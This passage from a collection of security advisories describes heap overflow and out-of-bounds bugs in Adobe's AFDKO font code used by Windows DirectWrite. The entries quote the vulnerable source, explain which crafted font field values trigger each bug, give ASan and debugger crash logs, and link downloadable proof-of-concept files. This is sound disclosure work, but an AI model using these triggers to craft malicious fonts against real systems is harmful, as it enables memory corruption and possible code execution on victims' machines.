00007ffb`29df0729 DWrite!FontInstancer::InstanceCffTable+0x212 04 0000006f`88b4be90 00007ffb`29df039a DWrite!FontInstancer::CreateInstanceInternal+0x249 05 0000006f`88b4c0b0 00007ffb`29dd5a4e DWrite!FontInstancer::CreateInstance+0x192 06 0000006f`88b4c410 00007ffb`34eb61ab DWrite!DWriteFontFace::CreateInstancedStream+0x9e 07 0000006f`88b4c4a0 00007ffb`34ea9148 d2d1!dxc::TextConvertor::InstanceFontResources+0x19f 08 0000006f`88b4c5c0 00007ffb`0fb750f4 d2d1!dxc::CXpsPrintControl::Close+0xc8 09 0000006f`88b4c610 00007ffb`0fb4fcb0 edgehtml!CDXPrintControl::Close+0x44 0a 0000006f`88b4c660 00007ffb`0fb547ad edgehtml!CTemplatePrinter::EndPrintD2D+0x5c 0b 0000006f`88b4c690 00007ffb`0fa2b515 edgehtml!CPrintManagerTemplatePrinter::endPrint+0x2d 0c 0000006f`88b4c6c0 00007ffb`0f689175 edgehtml!CFastDOM::CMSPrintManagerTemplatePrinter::Trampoline_endPrint+0x45 0d 0000006f`88b4c700 00007ffb`0eb568f1 edgehtml!CFastDOM::CMSPrintManagerTemplatePrinter::Profiler_endPrint+0x25 [...] --- cut --- -----=====[ References ]=====----- [1] https://blog.typekit.com/2014/09/19/new-from-adobe-type-open-sourced-font-development-tools/ [2] https://github.com/adobe-type-tools/afdko [3] https://docs.microsoft.com/en-us/windows/desktop/directwrite/direct-write-portal [4] https://medium.com/variable-fonts/https-medium-com-tiro-introducing-opentype-variable-fonts-12ba6cd2369 [5] https://docs.microsoft.com/en-us/typography/opentype/spec/cff2#table-12-fdselect-format-3 Proof of Concept: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/47094.zip
-
Microsoft DirectWrite / AFDKO - Heap-Based Buffer Overflow Due to Integer Overflow in readTTCDirectory
-----=====[ Background ]=====----- AFDKO (Adobe Font Development Kit for OpenType) is a set of tools for examining, modifying and building fonts. The core part of this toolset is a font handling library written in C, which provides interfaces for reading and writing Type 1, OpenType, TrueType (to some extent) and several other font formats. While the library existed as early as 2000, it was open-sourced by Adobe in 2014 on GitHub [1, 2], and is still actively developed. The font parsing code can be generally found under afdko/c/public/lib/source/*read/*.c in the project directory tree. At the time of this writing, based on the available source code, we conclude that AFDKO was originally developed to only process valid, well-formatted font files. It contains very few to no sanity checks of the input data, which makes it susceptible to memory corruption issues (e.g. buffer overflows) and other memory safety problems, if the input file doesn't conform to the format specification. We have recently discovered that starting with Windows 10 1709 (Fall Creators Update, released in October 2017), Microsoft's DirectWrite library [3] includes parts of AFDKO, and specifically the modules for reading and writing OpenType/CFF fonts (internally called cfr/cfw). The code is reachable through dwrite!AdobeCFF2Snapshot, called by methods of the FontInstancer class, called by dwrite!DWriteFontFace::CreateInstancedStream and dwrite!DWriteFactory::CreateInstancedStream. This strongly indicates that the code is used for instancing the relatively new variable fonts [4], i.e. building a single instance of a variable font with a specific set of attributes. The CreateInstancedStream method is not a member of a public COM interface, but we have found that it is called by d2d1!dxc::TextConvertor::InstanceFontResources, which led us to find out that it can be reached through the Direct2D printing interface. It is unclear if there are other ways to trigger the font instancing functionality. One example of a client application which uses Direct2D printing is Microsoft Edge. If a user opens a specially crafted website with an embedded OpenType variable font and decides to print it (to PDF, XPS, or another physical or virtual printer), the AFDKO code will execute with the attacker's font file as input. In this specific case, it might be difficult to reach the vulnerability described here through DirectWrite, because DWrite would first have to accept and correctly load a font collection with a malformed directory count. During our brief testing, we were unable to achieve this. On the other hand, the Windows library still contains the readTTCDirectory() function together with the vulnerable code, so in case the code can be reached in a way we haven't considered, we have opted to report the bug despite its apparent unreachability at this time. -----=====[ Description ]=====----- The bug resides in the loading of font collections, i.e. files with the "ttcf" header. Specifically, the problem is found in the readTTCDirectory() function in source/sfntread/sfntread.c: --- cut --- 184 h->TTC.DirectoryCount = read4(h); 185 h->TTC.TableDirectory = (long *)memResize(h, h->TTC.TableDirectory, 186 h->TTC.DirectoryCount * sizeof(long *)); 187 h->flags |= TTC_STM; /* readSfntDirectory( reads in to h->TTC.TableDirectory[i].directory if TTC_STM is set.*/ 188 189 for (i = 0; i < h->TTC.DirectoryCount; i++) { 190 h->TTC.TableDirectory[i] = read4(h) + origin; 191 } --- cut --- The DirectoryCount field of type "long" is (almost - depending on the platform) fully controlled by the input file, as initialized in line 184. Then, it is used to calculate the size of a dynamically allocated buffer in line 186. On 32-bit platforms, if the value is equal or larger than 0x40000000, the multiplication will overflow the integer range, resulting in allocating a buffer too small to store the data later written to it by the loop in lines 189-191. This behavior may subsequently lead to heap-based memory corruption. -----=====[ Proof of Concept ]=====----- The proof of concept file triggers the bug by declaring DirectoryCount as 0x40000001, which results in the allocation of a 4-byte buffer. Since more than one 4-byte offset is loaded from the font, a heap-based buffer overflow takes place in line 190 during the second iteration of the loop. -----=====[ Crash logs ]=====----- A crash log from a 32-bit "tx" tool (part of AFDKO) compiled with AddressSanitizer, run as ./tx -cff <path to font file>: --- cut --- ================================================================= ==25409==ERROR: AddressSanitizer: heap-buffer-overflow on address 0xf50006f4 at pc 0x08255953 bp 0xffb10ff8 sp 0xffb10ff0 WRITE of size 4 at 0xf50006f4 thread T0 #0 0x8255952 in readTTCDirectory afdko/c/public/lib/source/sfntread/sfntread.c:190:34 #1 0x82544fd in sfrBegFont afdko/c/public/lib/source/sfntread/sfntread.c:231:13 #2 0x8355234 in readsfnt afdko/c/public/lib/source/tx_shared/tx_shared.c:5118:14 #3 0x834f24e in buildFontList afdko/c/public/lib/source/tx_shared/tx_shared.c:5481:25 #4 0x8155001 in doFile afdko/c/tx/source/tx.c:403:5 #5 0x8152fc9 in doSingleFileSet afdko/c/tx/source/tx.c:488:5 #6 0x81469a6 in parseArgs afdko/c/tx/source/tx.c:558:17 #7 0x814263f in main afdko/c/tx/source/tx.c:1631:9 #8 0xf7b95275 in __libc_start_main #9 0x806a590 in _start 0xf50006f4 is located 0 bytes to the right of 4-byte region [0xf50006f0,0xf50006f4) allocated by thread T0 here: #0 0x810ddc5 in __interceptor_malloc #1 0x833ccaf in mem_manage afdko/c/public/lib/source/tx_shared/tx_shared.c:73:20 #2 0x8256bac in memResize afdko/c/public/lib/source/sfntread/sfntread.c:67:18 #3 0x82557a1 in readTTCDirectory afdko/c/public/lib/source/sfntread/sfntread.c:185:37 #4 0x82544fd in sfrBegFont afdko/c/public/lib/source/sfntread/sfntread.c:231:13 #5 0x8355234 in readsfnt afdko/c/public/lib/source/tx_shared/tx_shared.c:5118:14 #6 0x834f24e in buildFontList afdko/c/public/lib/source/tx_shared/tx_shared.c:5481:25 #7 0x8155001 in doFile afdko/c/tx/source/tx.c:403:5 #8 0x8152fc9 in doSingleFileSet afdko/c/tx/source/tx.c:488:5 #9 0x81469a6 in parseArgs afdko/c/tx/source/tx.c:558:17 #10 0x814263f in main afdko/c/tx/source/tx.c:1631:9 #11 0xf7b95275 in __libc_start_main SUMMARY: AddressSanitizer: heap-buffer-overflow afdko/c/public/lib/source/sfntread/sfntread.c:190:34 in readTTCDirectory Shadow bytes around the buggy address: 0x3ea00080: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x3ea00090: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x3ea000a0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x3ea000b0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x3ea000c0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa =>0x3ea000d0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa[04]fa 0x3ea000e0: fa fa 00 fa fa fa 00 fa fa fa 00 fa fa fa 00 fa 0x3ea000f0: fa fa 00 fa fa fa 00 00 fa fa fa fa fa fa fa fa 0x3ea00100: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x3ea00110: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x3ea00120: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb Shadow gap: cc ==25409==ABORTING --- cut --- A slightly different crash is generated if we set DirectoryCount to a negative value (e.g. 0x80000000), which skips the loop in lines 189-191 and crashes a bit further down the line: --- cut --- ================================================================= ==26803==ERROR: AddressSanitizer: heap-buffer-overflow on address 0xf50006f4 at pc 0x08255d1d bp 0xffee0908 sp 0xffee0900 READ of size 4 at 0xf50006f4 thread T0 #0 0x8255d1c in sfrGetNextTTCOffset afdko/c/public/lib/source/sfntread/sfntread.c:256:12 #1 0x835f5dc in addTTC afdko/c/public/lib/source/tx_shared/tx_shared.c:5082:31 #2 0x83556d8 in readsfnt afdko/c/public/lib/source/tx_shared/tx_shared.c:5144:21 #3 0x834f24e in buildFontList afdko/c/public/lib/source/tx_shared/tx_shared.c:5481:25 #4 0x8155001 in doFile afdko/c/tx/source/tx.c:403:5 #5 0x8152fc9 in doSingleFileSet afdko/c/tx/source/tx.c:488:5 #6 0x81469a6 in parseArgs afdko/c/tx/source/tx.c:558:17 #7 0x814263f in main afdko/c/tx/source/tx.c:1631:9 #8 0xf7b0f275 in __libc_start_main #9 0x806a590 in _start 0xf50006f4 is located 0 bytes to the right of 4-byte region [0xf50006f0,0xf50006f4) allocated by thread T0 here: #0 0x810ddc5 in __interceptor_malloc #1 0x833ccaf in mem_manage afdko/c/public/lib/source/tx_shared/tx_shared.c:73:20 #2 0x8256bac in memResize afdko/c/public/lib/source/sfntread/sfntread.c:67:18 #3 0x82557a1 in readTTCDirectory afdko/c/public/lib/source/sfntread/sfntread.c:185:37 #4 0x82544fd in sfrBegFont afdko/c/public/lib/source/sfntread/sfntread.c:231:13 #5 0x8355234 in readsfnt afdko/c/public/lib/source/tx_shared/tx_shared.c:5118:14 #6 0x834f24e in buildFontList afdko/c/public/lib/source/tx_shared/tx_shared.c:5481:25 #7 0x8155001 in doFile afdko/c/tx/source/tx.c:403:5 #8 0x8152fc9 in doSingleFileSet afdko/c/tx/source/tx.c:488:5 #9 0x81469a6 in parseArgs afdko/c/tx/source/tx.c:558:17 #10 0x814263f in main afdko/c/tx/source/tx.c:1631:9 #11 0xf7b0f275 in __libc_start_main SUMMARY: AddressSanitizer: heap-buffer-overflow afdko/c/public/lib/source/sfntread/sfntread.c:256:12 in sfrGetNextTTCOffset Shadow bytes around the buggy address: 0x3ea00080: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x3ea00090: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x3ea000a0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x3ea000b0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x3ea000c0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa =>0x3ea000d0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa[04]fa 0x3ea000e0: fa fa 00 fa fa fa 00 fa fa fa 00 fa fa fa 00 fa 0x3ea000f0: fa fa 00 fa fa fa 00 00 fa fa fa fa fa fa fa fa 0x3ea00100: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x3ea00110: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x3ea00120: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb Shadow gap: cc ==26803==ABORTING --- cut --- -----=====[ References ]=====----- [1] https://blog.typekit.com/2014/09/19/new-from-adobe-type-open-sourced-font-development-tools/ [2] https://github.com/adobe-type-tools/afdko [3] https://docs.microsoft.com/en-us/windows/desktop/directwrite/direct-write-portal [4] https://medium.com/variable-fonts/https-medium-com-tiro-introducing-opentype-variable-fonts-12ba6cd2369 Proof of Concept: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/47096.zip
-
Microsoft DirectWrite / AFDKO - Heap-Based Out-of-Bounds Read/Write in OpenType Font Handling Due to Unbounded iFD
-----=====[ Background ]=====----- AFDKO (Adobe Font Development Kit for OpenType) is a set of tools for examining, modifying and building fonts. The core part of this toolset is a font handling library written in C, which provides interfaces for reading and writing Type 1, OpenType, TrueType (to some extent) and several other font formats. While the library existed as early as 2000, it was open-sourced by Adobe in 2014 on GitHub [1, 2], and is still actively developed. The font parsing code can be generally found under afdko/c/public/lib/source/*read/*.c in the project directory tree. At the time of this writing, based on the available source code, we conclude that AFDKO was originally developed to only process valid, well-formatted font files. It contains very few to no sanity checks of the input data, which makes it susceptible to memory corruption issues (e.g. buffer overflows) and other memory safety problems, if the input file doesn't conform to the format specification. We have recently discovered that starting with Windows 10 1709 (Fall Creators Update, released in October 2017), Microsoft's DirectWrite library [3] includes parts of AFDKO, and specifically the modules for reading and writing OpenType/CFF fonts (internally called cfr/cfw). The code is reachable through dwrite!AdobeCFF2Snapshot, called by methods of the FontInstancer class, called by dwrite!DWriteFontFace::CreateInstancedStream and dwrite!DWriteFactory::CreateInstancedStream. This strongly indicates that the code is used for instancing the relatively new variable fonts [4], i.e. building a single instance of a variable font with a specific set of attributes. The CreateInstancedStream method is not a member of a public COM interface, but we have found that it is called by d2d1!dxc::TextConvertor::InstanceFontResources, which led us to find out that it can be reached through the Direct2D printing interface. It is unclear if there are other ways to trigger the font instancing functionality. One example of a client application which uses Direct2D printing is Microsoft Edge. If a user opens a specially crafted website with an embedded OpenType variable font and decides to print it (to PDF, XPS, or another physical or virtual printer), the AFDKO code will execute with the attacker's font file as input. Below is a description of one such security vulnerability in Adobe's library exploitable through the Edge web browser. -----=====[ Description ]=====----- The readFDSelect() function in afdko/c/public/lib/source/cffread/cffread.c is designed to read and parse the FDSelect table of an input OpenType font. It is called by cfrBegFont(), the standard entry point function for the "cfr" (CFF Reader) module of AFDKO. The relevant part of the function is shown below: --- cut --- 2347 switch (read1(h)) { 2348 case 0: 2349 for (gid = 0; gid < h->glyphs.cnt; gid++) 2350 h->glyphs.array[gid].iFD = read1(h); 2351 break; 2352 case 3: { 2353 int nRanges = read2(h); 2354 2355 gid = read2(h); 2356 while (nRanges--) { 2357 int fd = read1(h); 2358 long next = read2(h); 2359 2360 while (gid < next) 2361 h->glyphs.array[gid++].iFD = (unsigned char)fd; 2362 } 2363 } break; --- cut --- The "iFD" field is an unsigned char, as defined in afdko/c/public/lib/api/absfont.h: --- cut --- 393 unsigned char iFD; /* CID-keyed: FD index */ --- cut --- As shown above, it is initialized directly from the input stream and so the font file has complete control over it. There are no bounds checks to verify if the value is consistent with other structures in the font. The field is used to store an index into the h->fdicts array, whose size is determined by the length of the FDArray index, see readFDArray(): --- cut --- 1698 readINDEX(h, &h->region.FDArrayINDEX, &h->index.FDArray); 1699 if (h->index.FDArray.count > 256) 1700 fatal(h, cfrErrBadFDArray); 1701 1702 /* Read FDArray */ 1703 dnaSET_CNT(h->FDArray, h->index.FDArray.count); 1704 dnaSET_CNT(h->fdicts, h->index.FDArray.count); --- cut --- If any of the iFD fields are set to a value exceeding the lengths of the h->FDArray / h->fdicts arrays, the library may access invalid memory in the following locations in code: --- cut --- 2796 if (h->fdicts.array[info->iFD].Private.LanguageGroup == 1) 2797 info->flags |= ABF_GLYPH_LANG_1; [...] 2887 t2cAuxData *aux = &h->FDArray.array[info->iFD].aux; --- cut --- The second instance is especially dangerous in the context of memory safety, as the "aux" pointer fetched from an invalid memory location (potentially attacker-controlled) is later extensively used during the Type 2 CharString execution for reading and writing. As a side note, we believe that the FDArray / fdicts arrays should consist of at least one element for every CID-keyed font, so we would suggest adding an additional check for "h->index.FDArray.count < 1" in the if statement shown below: --- cut --- 1698 readINDEX(h, &h->region.FDArrayINDEX, &h->index.FDArray); 1699 if (h->index.FDArray.count > 256) 1700 fatal(h, cfrErrBadFDArray); --- cut --- -----=====[ Proof of Concept ]=====----- The proof of concept file contains a one-element FDArray. It also sets the iFD index of all glyphs to 1, which triggers a slightly out-of-bounds (off by one) access to h->fdicts.array[1] that is easily detected by AddressSanitizer. In non-ASAN builds, the code crashes later on when trying to access an invalid h->FDArray.array[1].aux pointer. The font is also specially crafted to parse correctly with DirectWrite but trigger the bug in AFDKO. The original CFF2 table was left untouched, and a second copy of it with the modified iFD was inserted at the end of the font with the tag "CFF ". This way, DirectWrite successfully loads the legitimate variable font, and AFDKO processes the modified version as the CFF table takes precedence over CFF2 due to the logic implemented in srcOpen() in afdko/c/public/lib/source/cffread/cffread.c. -----=====[ Crash logs ]=====----- A 64-bit build of "tx" compiled with AddressSanitizer, started with ./tx -cff poc.otf prints out the following report: --- cut --- ================================================================= ==199139==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x62f00000d808 at pc 0x000000529c2c bp 0x7ffd5db0b270 sp 0x7ffd5db0b268 READ of size 8 at 0x62f00000d808 thread T0 #0 0x529c2b in cfrBegFont afdko/c/public/lib/source/cffread/cffread.c:2796:56 #1 0x50928d in cfrReadFont afdko/c/tx/source/tx.c:137:9 #2 0x508cc3 in doFile afdko/c/tx/source/tx.c:429:17 #3 0x506b2e in doSingleFileSet afdko/c/tx/source/tx.c:488:5 #4 0x4fc91e in parseArgs afdko/c/tx/source/tx.c:558:17 #5 0x4f9470 in main afdko/c/tx/source/tx.c:1631:9 #6 0x7f10333f82b0 in __libc_start_main #7 0x41e5b9 in _start 0x62f00000d808 is located 2440 bytes to the right of 51840-byte region [0x62f000000400,0x62f00000ce80) allocated by thread T0 here: #0 0x4c63f3 in __interceptor_malloc #1 0x6c9ac2 in mem_manage afdko/c/public/lib/source/tx_shared/tx_shared.c:73:20 #2 0x5474a4 in dna_manage afdko/c/public/lib/source/cffread/cffread.c:271:17 #3 0x7de64e in dnaGrow afdko/c/public/lib/source/dynarr/dynarr.c:86:23 #4 0x7dec75 in dnaSetCnt afdko/c/public/lib/source/dynarr/dynarr.c:119:13 #5 0x526b21 in cfrBegFont afdko/c/public/lib/source/cffread/cffread.c:2631:5 #6 0x50928d in cfrReadFont afdko/c/tx/source/tx.c:137:9 #7 0x508cc3 in doFile afdko/c/tx/source/tx.c:429:17 #8 0x506b2e in doSingleFileSet afdko/c/tx/source/tx.c:488:5 #9 0x4fc91e in parseArgs afdko/c/tx/source/tx.c:558:17 #10 0x4f9470 in main afdko/c/tx/source/tx.c:1631:9 #11 0x7f10333f82b0 in __libc_start_main SUMMARY: AddressSanitizer: heap-buffer-overflow afdko/c/public/lib/source/cffread/cffread.c:2796:56 in cfrBegFont Shadow bytes around the buggy address: 0x0c5e7fff9ab0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c5e7fff9ac0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c5e7fff9ad0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c5e7fff9ae0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c5e7fff9af0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa =>0x0c5e7fff9b00: fa[fa]fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c5e7fff9b10: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c5e7fff9b20: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c5e7fff9b30: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c5e7fff9b40: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c5e7fff9b50: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb Shadow gap: cc ==199139==ABORTING --- cut --- A non-instrumented version of "tx" crashes with a SIGSEGV trying to fetch a function pointer from an unmapped memory area: --- cut --- Program received signal SIGSEGV, Segmentation fault. 0x000000000046382f in srcSeek (h=0x7ffffff60188, offset=23445) at ../../../../../source/t2cstr/t2cstr.c:255 255 if (h->aux->stm->seek(h->aux->stm, h->aux->src, offset)) (gdb) x/15i $rip => 0x46382f <srcSeek+31>: mov 0x20(%rsi),%rsi 0x463833 <srcSeek+35>: mov -0x10(%rbp),%rdi 0x463837 <srcSeek+39>: mov 0x9cef8(%rdi),%rdi 0x46383e <srcSeek+46>: mov 0x10(%rdi),%rdi 0x463842 <srcSeek+50>: mov -0x10(%rbp),%rax 0x463846 <srcSeek+54>: mov 0x9cef8(%rax),%rax 0x46384d <srcSeek+61>: mov 0x8(%rax),%rax 0x463851 <srcSeek+65>: mov -0x18(%rbp),%rdx 0x463855 <srcSeek+69>: mov %rsi,-0x20(%rbp) 0x463859 <srcSeek+73>: mov %rax,%rsi 0x46385c <srcSeek+76>: mov -0x20(%rbp),%rax 0x463860 <srcSeek+80>: callq *%rax 0x463862 <srcSeek+82>: cmp $0x0,%eax 0x463865 <srcSeek+85>: je 0x463877 <srcSeek+103> 0x46386b <srcSeek+91>: movl $0x1,-0x4(%rbp) (gdb) info reg $rsi rsi 0x440cc00044098000 4903505201673633792 (gdb) x/10gx $rsi 0x440cc00044098000: Cannot access memory at address 0x440cc00044098000 (gdb) print h->aux $1 = (t2cAuxData *) 0x7157f8 (gdb) print h->aux->stm $2 = (ctlStreamCallbacks *) 0x440cc00044098000 (gdb) print h->aux->stm->seek Cannot access memory at address 0x440cc00044098020 (gdb) bt #0 0x000000000046382f in srcSeek (h=0x7ffffff60188, offset=23445) at ../../../../../source/t2cstr/t2cstr.c:255 #1 0x000000000045da61 in t2Decode (h=0x7ffffff60188, offset=23445) at ../../../../../source/t2cstr/t2cstr.c:1271 #2 0x000000000045cb26 in t2cParse (offset=23445, endOffset=23563, aux=0x7157f8, gid=0, cff2=0x715118, glyph=0x6fd6e8, mem=0x7150b8) at ../../../../../source/t2cstr/t2cstr.c:2591 #3 0x000000000041371f in readGlyph (h=0x710380, gid=0, glyph_cb=0x6fd6e8) at ../../../../../source/cffread/cffread.c:2927 #4 0x0000000000413495 in cfrIterateGlyphs (h=0x710380, glyph_cb=0x6fd6e8) at ../../../../../source/cffread/cffread.c:2966 #5 0x0000000000405f11 in cfrReadFont (h=0x6f6010, origin=0, ttcIndex=0) at ../../../../source/tx.c:151 #6 0x0000000000405c9e in doFile (h=0x6f6010, srcname=0x7fffffffdf1b "poc.otf") at ../../../../source/tx.c:429 #7 0x000000000040532e in doSingleFileSet (h=0x6f6010, srcname=0x7fffffffdf1b "poc.otf") at ../../../../source/tx.c:488 #8 0x0000000000402f59 in parseArgs (h=0x6f6010, argc=2, argv=0x7fffffffdc20) at ../../../../source/tx.c:558 #9 0x0000000000401df2 in main (argc=2, argv=0x7fffffffdc20) at ../../../../source/tx.c:1631 --- cut --- A similar Microsoft Edge renderer process crash is also shown below: --- cut --- (1838.4490): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. DWrite!srcSeek+0x21: 00007ffc`c59f1549 488b4120 mov rax,qword ptr [rcx+20h] ds:0030002f`00330050=???????????????? DWrite!srcSeek: 00007ffc`c59f1528 48895c2408 mov qword ptr [rsp+8],rbx 00007ffc`c59f152d 57 push rdi 00007ffc`c59f152e 4883ec20 sub rsp,20h 00007ffc`c59f1532 8bda mov ebx,edx 00007ffc`c59f1534 488bf9 mov rdi,rcx 00007ffc`c59f1537 488b91a8f40000 mov rdx,qword ptr [rcx+0F4A8h] 00007ffc`c59f153e 448bc3 mov r8d,ebx 00007ffc`c59f1541 488b4a10 mov rcx,qword ptr [rdx+10h] 00007ffc`c59f1545 488b5208 mov rdx,qword ptr [rdx+8] 00007ffc`c59f1549 488b4120 mov rax,qword ptr [rcx+20h] 00007ffc`c59f154d ff15edd20200 call qword ptr [DWrite!_guard_dispatch_icall_fptr (00007ffc`c5a1e840)] 00007ffc`c59f1553 85c0 test eax,eax 00007ffc`c59f1555 7407 je DWrite!srcSeek+0x36 (00007ffc`c59f155e) 00007ffc`c59f1557 b801000000 mov eax,1 00007ffc`c59f155c eb08 jmp DWrite!srcSeek+0x3e (00007ffc`c59f1566) 00007ffc`c59f155e 899f94f40000 mov dword ptr [rdi+0F494h],ebx 00007ffc`c59f1564 33c0 xor eax,eax 00007ffc`c59f1566 488b5c2430 mov rbx,qword ptr [rsp+30h] 00007ffc`c59f156b 4883c420 add rsp,20h 00007ffc`c59f156f 5f pop rdi 00007ffc`c59f1570 c3 ret 0:038> db poi(rdi+f4a8) 0000020c`ffd04170 ee 01 64 00 6f 00 77 00-73 00 2f 00 32 00 30 00 ..d.o.w.s./.2.0. 0000020c`ffd04180 30 00 33 00 2f 00 30 00-38 00 2f 00 70 00 72 00 0.3./.0.8./.p.r. 0000020c`ffd04190 69 00 6e 00 74 00 69 00-6e 00 67 00 2f 00 70 00 i.n.t.i.n.g./.p. 0000020c`ffd041a0 72 00 69 00 6e 00 74 00-73 00 63 00 68 00 65 00 r.i.n.t.s.c.h.e. 0000020c`ffd041b0 6d 00 61 00 6b 00 65 00-79 00 77 00 6f 00 72 00 m.a.k.e.y.w.o.r. 0000020c`ffd041c0 64 00 73 00 7d 00 50 00-00 00 67 00 65 00 52 00 d.s.}.P...g.e.R. 0000020c`ffd041d0 65 00 73 00 6f 00 6c 00-75 00 74 00 69 00 6f 00 e.s.o.l.u.t.i.o. 0000020c`ffd041e0 6e 00 00 00 00 00 80 3e-00 00 80 3e 00 00 80 3e n......>...>...> 0:038> k # Child-SP RetAddr Call Site 00 0000008a`e128be10 00007ffc`c59f3fe5 DWrite!srcSeek+0x21 01 0000008a`e128be40 00007ffc`c59f4a5b DWrite!t2DecodeSubr+0x21 02 0000008a`e128bea0 00007ffc`c59dc103 DWrite!t2cParse+0x287 03 0000008a`e129b800 00007ffc`c59de3f7 DWrite!readGlyph+0x12b 04 0000008a`e129b870 00007ffc`c59d2272 DWrite!cfrIterateGlyphs+0x37 05 0000008a`e129b8c0 00007ffc`c596157a DWrite!AdobeCFF2Snapshot+0x19a 06 0000008a`e129bdc0 00007ffc`c5960729 DWrite!FontInstancer::InstanceCffTable+0x212 07 0000008a`e129bfa0 00007ffc`c596039a DWrite!FontInstancer::CreateInstanceInternal+0x249 08 0000008a`e129c1c0 00007ffc`c5945a4e DWrite!FontInstancer::CreateInstance+0x192 09 0000008a`e129c520 00007ffc`d4ae61ab DWrite!DWriteFontFace::CreateInstancedStream+0x9e 0a 0000008a`e129c5b0 00007ffc`d4ad9148 d2d1!dxc::TextConvertor::InstanceFontResources+0x19f 0b 0000008a`e129c6d0 00007ffc`b3ff5464 d2d1!dxc::CXpsPrintControl::Close+0xc8 0c 0000008a`e129c720 00007ffc`b3fcfd30 edgehtml!CDXPrintControl::Close+0x44 0d 0000008a`e129c770 00007ffc`b3fd48bd edgehtml!CTemplatePrinter::EndPrintD2D+0x5c 0e 0000008a`e129c7a0 00007ffc`b3eab995 edgehtml!CPrintManagerTemplatePrinter::endPrint+0x2d 0f 0000008a`e129c7d0 00007ffc`b3b09485 edgehtml!CFastDOM::CMSPrintManagerTemplatePrinter::Trampoline_endPrint+0x45 10 0000008a`e129c810 00007ffc`a3c244c1 edgehtml!CFastDOM::CMSPrintManagerTemplatePrinter::Profiler_endPrint+0x25 [...] --- cut --- -----=====[ References ]=====----- [1] https://blog.typekit.com/2014/09/19/new-from-adobe-type-open-sourced-font-development-tools/ [2] https://github.com/adobe-type-tools/afdko [3] https://docs.microsoft.com/en-us/windows/desktop/directwrite/direct-write-portal [4] https://medium.com/variable-fonts/https-medium-com-tiro-introducing-opentype-variable-fonts-12ba6cd2369 Proof of Concept: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/47097.zip
-
Microsoft DirectWrite / AFDKO - Heap-Based Buffer Overflow in OpenType Font Handling in readStrings
-----=====[ Background ]=====----- AFDKO (Adobe Font Development Kit for OpenType) is a set of tools for examining, modifying and building fonts. The core part of this toolset is a font handling library written in C, which provides interfaces for reading and writing Type 1, OpenType, TrueType (to some extent) and several other font formats. While the library existed as early as 2000, it was open-sourced by Adobe in 2014 on GitHub [1, 2], and is still actively developed. The font parsing code can be generally found under afdko/c/public/lib/source/*read/*.c in the project directory tree. At the time of this writing, based on the available source code, we conclude that AFDKO was originally developed to only process valid, well-formatted font files. It contains very few to no sanity checks of the input data, which makes it susceptible to memory corruption issues (e.g. buffer overflows) and other memory safety problems, if the input file doesn't conform to the format specification. We have recently discovered that starting with Windows 10 1709 (Fall Creators Update, released in October 2017), Microsoft's DirectWrite library [3] includes parts of AFDKO, and specifically the modules for reading and writing OpenType/CFF fonts (internally called cfr/cfw). The code is reachable through dwrite!AdobeCFF2Snapshot, called by methods of the FontInstancer class, called by dwrite!DWriteFontFace::CreateInstancedStream and dwrite!DWriteFactory::CreateInstancedStream. This strongly indicates that the code is used for instancing the relatively new variable fonts [4], 